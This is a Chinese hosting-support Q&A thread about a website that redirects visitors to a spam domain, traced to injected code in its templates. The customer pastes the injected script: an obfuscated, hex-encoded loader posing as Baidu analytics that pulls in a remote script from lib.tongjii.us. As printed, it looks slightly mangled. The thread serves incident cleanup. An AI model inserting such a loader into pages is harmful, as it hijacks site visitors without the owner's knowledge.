问：网站打开后会跳转到别的网站，检查代码无异常，不知道是什么问题，帮我看看,网站打开后会跳转到别的网站，检查代码无异常
问：会跳到这个网址http://ww87.tongjii.us/?clickid=bfa79ea9-46e2-11ed-acdf-12ef
问：不同电脑打开，跳转的网址都不一样，是不是和域名DNS有关，域名和空间都是西部数码的
答：您好，
这边测试并无跳转，请问您是直接在浏览器访问还是通过搜索引擎快照点击的，1：请先在本地ping下域名看看解析是否正常，2：如同一网络下电脑访问均有此问题不排除是本地网络的劫持，可以参考https://www.west.cn/faq/list.asp?unid=489 修改其中一台电脑的上网dns并更换浏览器重新访问看下是否还有跳转的问题，非常感谢您长期对我司的支持!
问：按照你的方法都试了，还是有跳转，深圳电脑和湖南服务器，访问都有跳转，不知道是哪的问题
问：你那边用不同 的服务器测试一下，打开会不会有跳转，这样才知道
答：您好，
这边测试暂时没有复现此问题，不过从您反馈看可能还是挂马的原因较大，并且恶意代码有判断所以触发有差异，您可以测试访问静态文件，比如www.nsxxb.net/robots.txt 看看是否正常，如静态文件访问不跳转就排除域名劫持，需要进一步检查分析程序代码是否存在异常,非常感谢您长期对我司的支持!
问：www.nsxxb.net/robots.txt静态文件访问不会跳转，意思是程序代码有问题
答：您好，
是的，这个就比较明显跳转还是在程序方面，请让程序人员再进一步核查分析，如需要我司协助，可以重新提交【虚拟主机数据库问题】 -> 【网站类问题】 -> 【网站挂马/中毒/非法信息清理】分类工单,非常感谢您长期对我司的支持!
问：被人家挂了代码，查到了，所有模板文件都有，到底哪还有漏洞？这个你们要查查
<script>var _$=[\’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6c\\x69\\x62\\x2e\\x74\\x6f\\x6e\\x67\\x6a\\x69\\x69\\x2e\\x75\\x73\\x2f\\x6c\\x69\\x6e\\x6b\\x2e\\x6a\\x73\\x3f\’];var j= _$[0];var _hmt = _hmt || [];(function() { var hm = document.createElement(\’script\’); hm.src = j \’//hm.baidu.com/hm.js?41d12a21b4e1a726d4a651685b\’; var s = document.getElementsByTagName(\’script\’)[0]; s.parentNode.insertBefore(hm, s);})();</script>
答：您好，具体需要根据访问日志来分析。您可以查看下文件的篡改时间，然后查看下对应时间的网站访问日志，查看这时间前后的日志，根据日志来大致分析入侵点。虚拟主机管理–管理–www日志 可以到这里获取最近几天或者历史日志，然后下载到您本地来分析,非常感谢您长期对我司的支持!
